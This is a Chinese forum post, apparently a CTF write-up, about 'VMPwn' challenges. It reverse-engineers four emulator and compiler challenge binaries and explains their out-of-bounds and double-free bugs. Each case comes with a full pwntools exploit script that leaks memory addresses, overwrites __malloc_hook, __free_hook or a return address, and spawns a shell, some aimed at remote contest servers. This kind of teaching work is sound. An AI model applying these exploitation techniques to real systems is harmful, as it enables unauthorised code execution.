|
发表于 2020-5-27 13:06:47
|
查看: 2299 |
回复: 0
VMPwn之温故知新前言 VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。去年十二月的时候跟着0xC4m3l师傅的文章系统学习了一下VMPwn,到今天发现VMPwn已经成了一个主流的出题方向,在去年的上海大学生网络安全大赛和红帽杯的线下也有几道VMPwn,因此我这里拿几道最近的题目来总结一下此类问题的一般思路。
题目概述 我们现在常见到的VMPwn基本设计如下:
- 分配内存模拟程序执行,基本组成要素为代码区和数据区,这两块区域可以分配在同一块内存或者两块独立内存。
- 数据区域包含模拟栈和模拟寄存器。
- 代码区根据用户指令模拟各种操作,如压栈出栈,寄存器立即数运算等
- 一般都是数据区的读写越界引发的漏洞,根据数据区内存分配位置的不同可以分为栈越界,bss越界和堆越界三类问题。
典型的题目有ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop等。除了这种在机器码层面模拟程序执行的题目,还有模拟运行高级语言代码的题目,二者侧重点不太一样,我们分别拿例题来讲解。
汇编类VMPwn 这类问题的核心就是逆向,漏洞多是越界读写,先分析VM接收的数据格式,之后通过静态代码分析和动态调试搞清每条模拟指令的含义,再根据指令进行组合利用漏洞。
2020-no-Conv-CTF_EasyVm程序逻辑 在逆指令前,可以通过IDA的结构体导入功能导入C语言形式的结构体,简化代码。经过分析,核心的数据结构是这样一个node结构体。
struct node{ unsigned int reg[6];
unsigned int chunk1;
unsigned int chunk2;
unsigned int memchunk;
unsigned int res2;
unsigned int chunk_addr;
};
首先是main函数的代码,大的功能是分配一块区域供用户写指令和数据,将这块内存作为参数交与VM虚拟机执行,释放堆内存以及给一个present。
int __cdecl main(int argc, const char **argv, const char **envp) {
void *buf; // ST2C_4
node *ptr; // [esp+18h] [ebp-18h]
int bss_addr; // [esp+ACh] [ebp+7Ch]
Init();
ptr = SetInit();
while ( 1 )
{
switch ( menu() )
{
case 1:
buf = malloc(0x300u); // produce
read(0, buf, 0x2FFu);
ptr->mem_chunk = (unsigned int)buf;
break;
case 2: // start
if ( !ptr )
exit(0);
MainMethod(ptr);
break;
case 3:
if ( !ptr )
exit(0);
free((void *)ptr->chunk_addr); // Recycle,double free
free(ptr);
break;
case 4:
puts("Maybe a bug is a gif?");
some_bss_val = bss_addr; // 这里需要调试看到这个值
ptr->mem_chunk = (unsigned int)&unk_3020;
break;
case 5:
puts("Zzzzzz........");
exit(0);
return;
default:
puts("Are you kidding me ?");
break;
}
}
}
MainMethod函数实现的指令比较多,我们截取漏洞利用用到的,其他的指令还有add,sub,sub,mul,div,xor,>>,<<,return,or,and。
0x80这条指令同Magic函数相关,在IDA中其反编译的效果并不好,在gdb动态调试之后我们可以发现这条指令的含义是ptr_chunk[idx]=val,其中idx和val都是可控数据,因此这里存在堆越界写。
0x53指令调用putchar输出*reg[3]的值。
0x76指令设置reg[3]=*(ptr_chunk->chunk1)。
0x54指令调用getchar函数向ptr_chunk->reg[3]存储的地址里输入值。
0x9指令将我们main函数中获取的present赋值给ptr_chunk->reg[1],配合指令0x11可以将这个值输出。
unsigned int __cdecl MainMethod(node *ptr_chunk) { //...
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x80u )
{
ptr_chunk->reg[Magic(ptr_chunk, 1u)] = *(_DWORD *)(ptr_chunk->mem_chunk + 2);// magic here,prt_chunk[可控idx] = 可控数字
ptr_chunk->mem_chunk += 6;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x53 )// leak
{
putchar(*(char *)ptr_chunk->reg[3]); // 改为got表
ptr_chunk->mem_chunk += 2;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x76 )
{
ptr_chunk->reg[3] = *(_DWORD *)ptr_chunk->chunk1;// set val
*(_DWORD *)ptr_chunk->chunk1 = 0;
ptr_chunk->chunk1 += 4;
ptr_chunk->mem_chunk += 5;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x54 )// get input;get shell
{
v1 = (_BYTE *)ptr_chunk->reg[3];
*v1 = getchar();
ptr_chunk->mem_chunk += 2;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 9 )
{
ptr_chunk->reg[1] = some_bss_val; // set bss addr
++ptr_chunk->mem_chunk;
}
if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x11 )// leak proc base
{
printf("%p\n", ptr_chunk->reg[1]);
++ptr_chunk->mem_chunk;
}
//...
}
int __cdecl Magic(node *ptr_chunk, unsigned int one)
{
int result; // eax
unsigned int v3; // [esp+1Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
result = 0;
if ( one <= 2 )
result = *(unsigned __int8 *)(*(unsigned int *)((char *)ptr_chunk->reg + (_DWORD)(&free_ptr - 0xBE7)) + one);
if ( __readgsdword(0x14u) != v3 )
chk_fail();
return result;
}
漏洞利用 这里的漏洞就是0x80指令的越界问题,以及main函数中清空堆块时的double free,还有出题人留的一个present。
我们首先用gdb调试查看所谓的present,发现是一个bss地址,因此使用0x9+0x11可以泄露程序加载基址proc_base。
有了基址我们使用0x80指令将reg[3]改为puts@got,配合0x53的单字节打印分4次输出得到puts函数地址从而得到libc基址。
泄露heap地址也同理,我们用0x80指令将reg[3]改成main_arena->bins[]中的smallbin的存储地址,再调用0x53指令输出得到heap基址。
最后Getshell需要0x80+0x76+0x54,我们在堆上写一个__malloc_hook地址,通过0x80指令将ptr_chunk->chunk1改成存储__malloc_hook的堆地址,0x76指令则将这个地址赋值给reg[3],而0x54指令可以单字节向__malloc_hook输入值,我们分4次写入one_gadget即可。
#coding=utf-8 from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./EasyVM')
libc_offset = 0x3c4b20
gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
if debug:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./EasyVM')
else:
libc = ELF('./libc-2.23.so')
p = remote('121.36.215.224',9999)
def Add(content):
p.recvuntil('>>>')
p.sendline('1')
sleep(0.02)
p.send(content)
def Start():
p.recvuntil('>>>')
p.sendline('2')
def Delete():
p.recvuntil('>>>')
p.sendline('3')
def Gift():
p.recvuntil('>>>')
p.sendline('4')
def exp():
#leak proc base
Gift()
data = p8(0x9)+p8(0x11)+p8(0x99)
Add(data)
Start()
p.recvuntil("0x")
code_base = int(p.recvn(8),16) - (0x565556c0-0x56555000)
log.success("code base => " + hex(code_base))
#leak libc
Delete()
data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd2)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd3)+p8(0x53)+'\x00'
data += '\x99'
Add(data)
Start()
p.recvn(2)
libc_base = u32(p.recvn(4)) - libc.sym['puts']
log.success("libc base => " + hex(libc_base))
#leak heap
target = libc_base + (0xf7fb2150-0xf7e00000)
malloc = libc_base + libc.sym['__malloc_hook']
shell = libc_base + gadgets[1]
data = p8(0x80)+p8(0x3)+p32(target)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+1)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+2)+p8(0x53)+'\x00'
data += p8(0x80)+p8(0x3)+p32(target+3)+p8(0x53)+'\x00'
data += '\x99'
Add(data)
Start()
p.recvn(2)
heap_base = u32(p.recvn(4))
log.success("heap base => " + hex(heap_base))
#get shell
fake_heap = heap_base + (0x56559aaf-0x56559000)
fake_heap1 = heap_base + (0x56559abc-0x56559000)
fake_heap2 = heap_base + (0x56559ac9-0x56559000)
fake_heap3 = heap_base + (0x56559ad6-0x56559000)
data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00'
data += p8(0x80)+p8(0x6)+p32(fake_heap1)+p8(0x76)+p32(malloc+1)+p8(0x54)+'\x00'
data += p8(0x80)+p8(0x6)+p32(fake_heap2)+p8(0x76)+p32(malloc+2)+p8(0x54)+'\x00'
data += p8(0x80)+p8(0x6)+p32(fake_heap3)+p8(0x76)+p32(malloc+3)+p8(0x54)+'\x00'
data += '\x99'
Add(data)
Start()
raw_input()
p.send(p8(shell&0xff))
raw_input()
p.send(p8((shell&0xffff)>>8))
raw_input()
p.send(p8((shell>>16)&0xff))
raw_input()
p.send(p8((shell>>24)))
#gdb.attach(p,'b* 0x56555000+ 0xcaf')
p.recvuntil('>>>')
p.sendline('3')
p.interactive()
exp()
网鼎杯青龙组boom2程序逻辑 main函数的开始部分分配了两个大小为0x40000uLL的堆块,因为大于了默认的heap分配阈值,调用mmap分配内存,在堆地址中存储了一个栈地址。
setbuf(stdout, 0LL); setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
chunk_addr = (signed __int64 *)malloc(0x40000uLL);// >0x23000,mmap
buf = (char *)malloc(0x40000uLL);
printf("MC execution system\nInput your code> ", 0LL);
read(0, buf, 0x120uLL);
chunk_addr += 0x8000;
chunk_8000_addr = chunk_addr;
--chunk_addr;
*chunk_addr = 0x1ELL;
--chunk_addr;
*chunk_addr = 0xDLL;
v4 = chunk_addr;
--chunk_addr;
*chunk_addr = a1 - 1;
--chunk_addr;
*chunk_addr = (signed __int64)(a2 + 1); // 这里放了栈地址进去
chunk_8000_addr_sub_1 = chunk_addr - 1;
*chunk_8000_addr_sub_1 = (signed __int64)v4; // 堆里保存了自己的地址
v37 = 0LL;
整个虚拟机只能执行一次,且最多执行30条指令,这里依然是只分析重点的指令,其他包括v36和*chunk_8000_addr_sub_1的add/sub/mul/div/>>/&/^等运算,不一而足。
0x0的指令存在一个明显的堆越界读,将数据赋值给v36。
0x6的指令存在同样的问题,只不过赋值的对象变成了chunk_8000_addr_sub_1。
0x9指令将v36作为地址取值再赋给v36。
0x11指令为v36的双重取值再赋值。
0x13指令执行*chunk_8000_addr_sub_1 = v36,这条指令将v36和chunk_8000_addr_sub_1关联了起来。
//choice=0 buf2 = buf;// choice为0
buf += 8;
v36 = (signed __int64)&chunk_8000_addr[*buf2];// v7可控的话这里有堆越界
//choice=1
buf3 = (signed __int64 *)buf;// choice=1
buf += 8;
v36 = *buf3;// 取buf值赋值给v36
// choice=6
chunk_8000_addr_sub_2 = chunk_8000_addr_sub_1 - 1;
*chunk_8000_addr_sub_2 = (signed __int64)chunk_8000_addr;
chunk_8000_addr = chunk_8000_addr_sub_2;
buf4 = buf;
buf += 8;
chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4];// (注意要乘8)前溢将堆地址赋值给这个值
//choice=9
v36 = *(_QWORD *)v36;//取8字节v36地址上的值赋给v36
//choice=11
v13 = (signed __int64 **)chunk_8000_addr_sub_1;// v13先放一个map地址,这个地址的值是retn_addr
++chunk_8000_addr_sub_1;
**v13 = v36;//两次取值,赋值为一个可控值
//choice=13
--chunk_8000_addr_sub_1;//把v36写到堆上
*chunk_8000_addr_sub_1 = v36;// 先让v36得到我们的那个目标值
漏洞利用 这里没有输出函数,我们考虑将返回地址的__libc_start_main函数直接拷贝到map地址,通过加运算得到one_gadget。
将map上的原栈地址进行加减运算得到retn_addr,再用双重赋值指令把one_gadget写入到retn_addr。在exp注释中详细解释了每一条指令的目的。
#coding=utf-8 from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 2
elf = ELF('./pwn')
libc_offset = 0x3c4b20
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
if debug == 1:
gadgets = [0x45216,0x4526a,0xcd0f3,0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0]
p = process('./pwn')
elif debug == 2:
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
p = process('./pwn', env={'LD_PRELOAD':'./libc6_2.23-0ubuntu10_amd64.so'})
else:
p = remote('182.92.73.10',36642)
def exp():
#environ+0xf0 = retn_addr
libc_base = 0x7ffff7a0d000
shell_addr = gadgets[3]
target = libc.sym['__libc_start_main']+240
off = shell_addr - target
print hex(off)
p.recvuntil("Input your code> ")
#gdb.attach(p,'b* 0x0000555555554000+0xb72')
#gdb.attach(p,'b* 0x0000555555554000+0xe43')
#set args = bin_sh
payload = flat([
0,-4,#set v36 = map_addr(stack_addr on it)
9,#set v36 = stack_addr
6,0x101e0,#set chunk_8000_addr_sub_1
25,#set v36 = retn_addr
6,-0x101e3,#set chunk_8000_addr_sub_1 = map_addr
13,#set map_addr(retn_addr)
9,#set v36 = libc_start_main+240
6,0x101e0,#set map_addr
25,#set v36 = one_gadget
6,-0x101e1,#set chunk_8000_addr_sub_1 = map_addr
11,#set retn_addr(one_gadget)
])
payload = payload.ljust(8*26,'\x00')
payload += flat([
-0xe8,off,0x12345678
])
p.sendline(payload)
p.interactive()
exp()
编译器类VM 这类VM主要接收用户的高级语言形式的代码,模拟编译执行,相比于汇编类的VM,它更加灵活,难度也更高,做题没有固定的套路,需要自己结合题目环境解题。
2019红帽杯-万花筒程序逻辑 && 漏洞利用 题目是用llvm自己实现的一个小型编译器,是llvmcookbook的示例改的,toy语言,看Kaleidoscope这个名字应该就可以找到教程,gettok里定义了一些标识符,在划分语元的时候使用,这里有def、extern、if等。
在引用未定义的函数会提示Error: Unknown function referenced, 假如我们定义一个名称与库函数相同且没有body的函数(如def system(a);), 第一次调用提示Error: Unknown unary operator, 之后能调用到库函数,因此我们调用mmap分配一块固定内存地址存放/bin/sh,之后调用sytem(map_addr)来get shell。
from pwn import * p = process("./pwn2")
p.recvuntil("ready> ")
p.sendline("def mmap(a b c d e f);")
p.recvuntil("ready> ")
p.sendline("mmap(1,1,1,1,1,1);")
p.recvuntil("ready> ")
p.sendline("def read(a b c);")
p.recvuntil("ready> ")
p.sendline("read(1,1,1);")
p.recvuntil("ready> ")
p.sendline("mmap("+str(0x10000)+","+str(0x1000)+",3,34,0,0);")
p.recvuntil("ready> ")
p.recvuntil("ready> ")
p.sendline("read(0,65536,20);")
p.recvuntil("ready> ")
p.sendline("/bin/sh")
p.recvuntil("ready> ")
p.sendline("def system(a);")
p.recvuntil("ready> ")
p.sendline("system(0);")
p.recvuntil("ready> ")
p.sendline("system(65536);")
p.interactive()
2020网鼎杯青龙组-boom1程序逻辑 && 漏洞利用 这道题目也是一道编译器类的VM,程序限制我们只能进行一次函数调用,在调试过程中可以发现存储我们指令的内存地址是通过map得到的,因此其地址和libc地址偏移是固定的,我们可以定义一个变量,从这个变量的地址寻址到__free_hook和system函数,将后者覆写到前者,再调用free('/bin/sh')即可。
#coding=utf-8 from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn')
def exp():
gdb.attach(p,'b* 0x555555558724')
p.recvuntil("I'm living...")
payload = '''main(){int a;a=0x12345677;*(&a-161542)=&a-620937;free("/bin/sh");}'''
p.sendline(payload)
p.interactive()
exp()
总结 从我们举的例题中可以看到汇编类的VMPwn核心是逆向和对于已有指令的组合,编译器类的VMPwn则需要动态的调试去寻找规律,相比于前者更加复杂。
|
温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【 投诉建议】板块发帖举报。
|